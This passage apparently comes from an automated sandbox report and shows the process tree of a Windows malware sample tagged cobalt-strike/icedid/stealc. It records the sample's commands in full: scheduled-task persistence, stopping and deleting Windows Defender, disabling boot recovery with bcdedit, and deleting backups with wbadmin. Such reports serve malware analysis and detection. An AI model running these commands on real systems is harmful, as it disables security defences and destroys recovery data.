    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --always-read-main-dll --metrics-shmem-handle=10220,i,8553207608929787739,1535955715183032437,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11384 /prefetch:1
    3⤵
    PID:5228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --metrics-shmem-handle=7308,i,4504532183745841871,1059300303094068183,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11596 /prefetch:1
    3⤵
    PID:6844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --always-read-main-dll --metrics-shmem-handle=5320,i,16318928388654317275,13254397325205869707,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11460 /prefetch:1
    3⤵
    PID:3564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,15541295983654673881,14351843067924621034,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11404 /prefetch:14
    3⤵
    PID:6556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --metrics-shmem-handle=5096,i,8882038341433804003,16829466681920434270,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11348 /prefetch:1
    3⤵
    PID:3016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --always-read-main-dll --metrics-shmem-handle=9868,i,7902523467702311264,4073020198580387938,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=15668 /prefetch:1
    3⤵
    PID:8164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --always-read-main-dll --metrics-shmem-handle=14196,i,4430129520087416650,4692695003749057332,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10100 /prefetch:1
    3⤵
    PID:6000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --always-read-main-dll --metrics-shmem-handle=16768,i,2388111143821701291,4013958578772366356,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=9552 /prefetch:1
    3⤵
    PID:8140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --always-read-main-dll --metrics-shmem-handle=17128,i,6911473296986485157,13968215012285201869,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=17160 /prefetch:1
    3⤵
    PID:8188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --always-read-main-dll --metrics-shmem-handle=13412,i,5851836667688407047,8595494442906862838,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=9084 /prefetch:1
    3⤵
    PID:8416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --always-read-main-dll --metrics-shmem-handle=11796,i,8874807528106884452,14262734389602831950,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11720 /prefetch:1
    3⤵
    PID:8424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --always-read-main-dll --metrics-shmem-handle=17352,i,2069636809928928698,17704727708653442212,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11952 /prefetch:1
    3⤵
    PID:8568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --always-read-main-dll --metrics-shmem-handle=11812,i,7279796111818698250,17983965736353214979,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11840 /prefetch:1
    3⤵
    PID:8680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --always-read-main-dll --metrics-shmem-handle=12368,i,16292422459374296303,1444091891260678949,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=12104 /prefetch:1
    3⤵
    PID:8704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --always-read-main-dll --metrics-shmem-handle=12500,i,3745398311090956296,9745597835813753216,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=9276 /prefetch:1
    3⤵
    PID:8872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --always-read-main-dll --metrics-shmem-handle=17312,i,5978196973959015855,2669608914476519680,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=17460 /prefetch:1
    3⤵
    PID:8984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --always-read-main-dll --metrics-shmem-handle=17760,i,13647530478051645528,1180379716821123524,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=17776 /prefetch:1
    3⤵
    PID:9156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --always-read-main-dll --metrics-shmem-handle=17612,i,3155265445193635075,54971786099508882,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=17824 /prefetch:1
    3⤵
    PID:9196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --always-read-main-dll --metrics-shmem-handle=18000,i,7093726328462008033,8960545532005569361,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=18016 /prefetch:1
    3⤵
    PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2324

C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe
C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-10_fb0010606cc84c1fc8b43ba81128ed84_cobalt-strike_icedid_satacom_stealc.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:6100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4272
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4592
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
